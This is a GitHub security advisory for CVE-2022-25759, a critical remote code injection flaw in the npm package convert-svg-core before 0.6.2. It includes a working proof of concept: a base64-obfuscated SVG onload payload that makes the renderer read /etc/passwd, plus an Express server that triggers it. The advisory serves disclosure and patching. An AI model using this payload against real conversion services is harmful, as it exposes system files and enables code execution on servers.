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convert-svg-core vulnerable to remote code injection

Critical severity GitHub Reviewed Published Jul 23, 2022 to the GitHub Advisory Database • Updated Apr 22, 2024

Package

npm convert-svg-core (npm)

Affected versions

< 0.6.2

Patched versions

0.6.2

Description

The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an onload attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.

PoC

Payload

<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>

where the id attribute is the base 64-encoded form of

document.write('<svg-dummy></svg-dummy><iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe><svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"><text x="0" y="0" class="Rrrrr" id="demo">data</text></svg>');

Attack

const { convert } = require('convert-svg-to-png');
const express = require('express');
const fileSvg = `[[[payload]]]`;
// YWxlcnQoMSk=
// function newContent(){document.open(),document.write('<text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text>'),document.close()}
const app = express();
app.get('/poc', async (req, res)=>{
  try {
    const png = await convert(fileSvg);
    res.set('Content-Type', 'image/png');
    res.send(png);
  } catch (e) {
      console.log(e);
    res.send("");
  }
});
app.listen(3000, ()=>{
  console.log('started');
});

References

Published by the National Vulnerability Database Jul 22, 2022
Published to the GitHub Advisory Database Jul 23, 2022
Reviewed Apr 22, 2024
Last updated Apr 22, 2024

Severity

Critical
9.8
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Weaknesses

CVE ID

CVE-2022-25759

GHSA ID

GHSA-5gxc-fxcr-9326

Source code

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